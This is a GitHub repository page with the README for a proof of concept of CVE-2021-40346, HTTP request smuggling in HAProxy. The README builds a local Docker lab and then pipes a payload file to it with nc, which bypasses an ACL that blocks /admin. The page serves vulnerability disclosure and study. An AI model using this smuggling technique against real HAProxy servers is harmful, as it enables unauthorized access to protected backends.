https://github.com/knqyf263/CVE-2021-40346

CVE-2021-40346 PoC (HAProxy HTTP Smuggling)
https://github.com/knqyf263/CVE-2021-40346

Last synced: about 2 months ago
JSON representation

CVE-2021-40346 PoC (HAProxy HTTP Smuggling)

• Host: GitHub
• URL: https://github.com/knqyf263/CVE-2021-40346
• Owner: knqyf263
• License: apache-2.0
• Created: 2021-09-08T22:26:19.000Z (over 3 years ago)
• Default Branch: main
• Last Pushed: 2021-09-08T22:37:15.000Z (over 3 years ago)
• Last Synced: 2024-11-20T00:42:42.070Z (about 2 months ago)
• Language: JavaScript
• Size: 5.86 KB
• Stars: 39
• Watchers: 4
• Forks: 15
• Open Issues: 1
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - knqyf263/CVE-2021-40346 - CVE-2021-40346 PoC (HAProxy HTTP Smuggling) (JavaScript)

README

        
# CVE-2021-40346

CVE-2021-40346 PoC (HAProxy HTTP Smuggling)

For educational purposes only

## Setup

```

$ docker build -t cve-2021-40346 .

$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346

4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4

```

## Test

Confirm `/admin` is denied.

```

$ curl http://localhost:8000

hello

$ curl http://localhost:8000/admin

403 Forbidden

Request forbidden by administrative rules.


```

You will not see `/admin` in the log. It means the request didn't reach the backend server since HAProxy denied it.

```

$ docker logs poc

server start at port 8000

/

```

Then, you can make sure it can be bypassed by payload.txt.

```

$ cat payload.txt | nc localhost 8000

HTTP/1.1 200 OK

content-type: text/plain

date: Wed, 08 Sep 2021 22:31:10 GMT

keep-alive: timeout=5

transfer-encoding: chunked

6

hello

0

```

You will find `/admin` in the log.

```

$ docker logs poc

server start at port 8000

/

/

/admin

```